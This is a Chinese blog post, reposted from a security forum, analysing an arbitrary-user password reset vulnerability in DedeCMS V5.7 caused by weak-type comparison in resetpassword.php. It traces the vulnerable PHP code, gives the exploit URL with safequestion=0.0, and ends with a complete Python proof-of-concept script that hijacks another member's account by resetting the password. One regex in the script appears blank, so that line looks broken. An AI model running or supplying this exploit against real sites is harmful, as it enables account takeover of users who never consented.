DeDecms 任意用户密码重置漏洞POC&分析

Mr.Wu 2,530 0 正在检测是否收录...

描述

Dedecms是一款开源的PHP开源网站管理系统。

DeDecms(织梦CMS) V5.7.72 正式版20180109 (最新版)
由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格，遭受弱类型比较攻击
导致了远程攻击者可以在前台会员中心绕过验证，进行任意用户密码重置攻击

当检测到此类攻击后，迅速Neubee Lab对漏洞攻击进行了分析

漏洞触发位置

①文件位置:dedecms/member/resetpassword.php(75行)

else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起，您的安全问题或答案回答错误","-1");
        exit();
    }

}

就是这里的判断出现了问题，因为使用了不够严谨的 == 进行了比较，导致if语句的条件为真，就会进入分支，进入sn函数

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
    sn($mid, $row['userid'], $row['email'], 'N');
    exit();
}

②文件位置:dedecms/member/inc/inc_pwd_functions.php(150行)
函数名称:function sn

function sn($mid,$userid,$mailto, $send = 'Y')
{
    global $db;
    $tptim= (60*10);
    $dtime = time();
    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(!is_array($row))
    {
        //发送新邮件；
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }
    //10分钟后可以再次发送新验证码；
    elseif($dtime - $tptim > $row['mailtime'])
    {
        newmail($mid,$userid,$mailto,'UPDATE',$send);
    }
    //重新发送新的验证码确认邮件；
    else
    {
        return ShowMsg('对不起，请10分钟后再重新申请', 'login.php');
    }
}

在sn函数内部，会根据id到pwd_tmp表中判断是否存在对应的临时密码记录，根据结果确定分支，走向newmail函数

    if(!is_array($row))
    {
        //发送新邮件；
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }

③文件位置:dedecms/member/inc/inc_pwd_functions.php(73行)
函数名称:function newmail

function newmail($mid, $userid, $mailto, $type, $send)
{
    global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
    $mailtime = time();
    $randval = random(8);
    $mailtitle = $cfg_webname.":密码修改";
    $mailto = $mailto;
    $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
    $mailbody = "亲爱的".$userid."：\r\n您好！感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求，重新设置密码：（注：如果您没有提出申请，请检查您的信息是否泄漏。）\r\n本次临时登陆密码为：".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
    if($type == 'INSERT')
    {
        $key = md5($randval);
        $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
            } else if ($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }
        else
        {
            return ShowMsg('对不起修改失败，请联系管理员', 'login.php');
        }
    }
    elseif($type == 'UPDATE')
    {
        $key = md5($randval);
        $sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime'  WHERE `mid` ='$mid';";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php');
            }
            elseif($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }
        else
        {
            ShowMsg('对不起修改失败，请与管理员联系', 'login.php');
        }
    }
}

进入newmail函数后，会因为$type的值进入这个分支

if($type == 'INSERT')
{
    $key = md5($randval);
    $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
    if($db->ExecuteNoneQuery($sql))
    {
        if($send == 'Y')
        {
            sendmail($mailto,$mailtitle,$mailbody,$headers);
            return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
        } else if ($send == 'N')
        {
            return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
        }
    }
    else
    {
        return ShowMsg('对不起修改失败，请联系管理员', 'login.php');
    }
}

然后因为$send == 'N'这个条件为真，通过ShowMsg打印出修改密码的连接，导致漏洞形成

else if ($send == 'N')
{
    return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}

密码修改连接如下,点击后重新调到resetpassword.php这个页面

[url]http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo[/url]

文件位置:dedecms/member/resetpassword.php(96行)

else if($dopost == "getpasswd")
{
    //修改密码
    if(empty($id))
    {
        ShowMsg("对不起，请不要非法提交","login.php");
        exit();
    }
    $mid = preg_replace("#[^0-9]#", "", $id);
    $row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
    if(empty($row))
    {
        ShowMsg("对不起，请不要非法提交","login.php");
        exit();
    }
    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim > $row['mailtime'])
        {
            $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起，临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
    elseif($setp == 2)
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db->executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db->executenonequery($sql))
                    {
                        showmsg('更改密码成功，请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起，新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起，临时密码错误', '-1');
        exit;
    }
}

在pwd_tmp表中查询判断后,最后会跳入这个分支，判断是否超时，然后进入密码修改页面

if(empty($setp))
{
    $tptim= (60*60*24*3);
    $dtime = time();
    if($dtime - $tptim > $row['mailtime'])
    {
        $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
        ShowMsg("对不起，临时密码修改期限已过期","login.php");
        exit();
    }
    require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}

DeDecms 任意用户密码重置漏洞POC&分析 然后会再次进入这个页面，不过因为setp2，会进入这个分支。完成member表的密码修改

elseif($setp == 2)
{
    if(isset($key)) $pwdtmp = $key;

    $sn = md5(trim($pwdtmp));
    if($row['pwd'] == $sn)
    {
        if($pwd != "")
        {
            if($pwd == $pwdok)
            {
                $pwdok = md5($pwdok);
                $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                $db->executenonequery($sql);
                $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                if($db->executenonequery($sql))
                {
                    showmsg('更改密码成功，请牢记新密码', 'login.php');
                    exit;
                }
            }
        }
        showmsg('对不起，新密码为空或填写不一致', '-1');
        exit;
    }
    showmsg('对不起，临时密码错误', '-1');
    exit;
}

总结

DeDecms(织梦CMS) 密码修改处，因为安全问题验证的safeanswer参数类型比较不够严格，遭受弱类型比较攻击，可绕过判断
同时修改时的id可控，导致了远程攻击者可以在前台会员中心绕过验证，进行任意用户密码重置攻击

本地验证

分别注册两个账号

账号：test1
密码：test1

账号：test2
密码：test2

目的：我们使用test1账号去重置test2账号的密码，重置为123456

[url]http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=9[/url]

①test1登录,并发送payload,此处可以id可以遍历，9是test2的id
DeDecms 任意用户密码重置漏洞POC&分析 ②我们在代理工具中找到ShowMsg打印出修改密码的连接
 DeDecms 任意用户密码重置漏洞POC&分析③去掉多余字符后，访问修改密码的连接，进入修改页面

[url]http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo[/url]

DeDecms 任意用户密码重置漏洞POC&分析④test2密码修改成功，数据库对应hash也进行了更新（变成了123456的hash）
 DeDecms 任意用户密码重置漏洞POC&分析

POC

# coding=utf-8

import re
import requests
from bs4 import BeautifulSoup

if __name__ == "__main__":
    host = 'http://127.0.0.1/dedecms/'
    cookie = "PHPSESSID=hi7jm3fncr0q79du7tvu3bm406; DedeUserID=8; DedeUserID__ckMd5=7903ea0790a3690a; DedeLoginTime=1515641375; DedeLoginTime__ckMd5=0a847f5adbfcbbd4"
    # 注册账号的cookie
    num = 2
    # 要修改密码的id

    headers = {'Cookie': cookie}
    rs = requests.get(host + '/member/index.php', headers=headers)
    if '/member/myfriend.php' in rs.text and '/member/pm.php' in rs.text:
        print '账号登陆成功'
    else:
        exit('账号登陆失败！')

    payload_url1 = "{host}/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id={num}".format(
        host=host,
        num=num)
    rs = requests.get(payload_url1, headers=headers)
    if '对不起，请10分钟后再重新申请'.decode('utf-8') in rs.text:
        exit('对不起，请10分钟后再重新申请').decode('utf-8')

    searchObj = re.search(r'', rs.text, re.M | re.I)
    payload_url2 = searchObj.group(1)
    payload_url2 = payload_url2.replace('amp;', '')
    print 'Payload : ' + payload_url2
    rs = requests.get(payload_url2, headers=headers)
    soup = BeautifulSoup(rs.text, "html.parser")
    userid = soup.find_all(attrs={"name": "userid"})[0]['value']
    key = soup.find_all(attrs={"name": "key"})[0]['value']
    data = {'dopost': 'getpasswd', 'setp': 2, 'id': num, 'userid': userid, 'key': key, 'pwd': 666666, 'pwdok': 666666}
    rs = requests.post(host + "/member/resetpassword.php", data=data, headers=headers)
    if '更改密码成功，请牢记新密码'.decode('utf-8') in rs.text:
        print '更改密码成功'.decode('utf-8')
        print '账号：'.decode('utf-8') + userid
        print '密码：'.decode('utf-8') + '666666'
    else:
        print '更改密码失败'.decode('utf-8')

本文转自T00LS    作者：[ hanfengbuleng ]

本文作者为Mr.Wu，转载请注明，尊守博主劳动成果！

 由于经常折腾代码，可能会导致个别文章内容显示错位或者别的 BUG 影响阅读;
    如发现请在该文章下留言告知于我，thank you !

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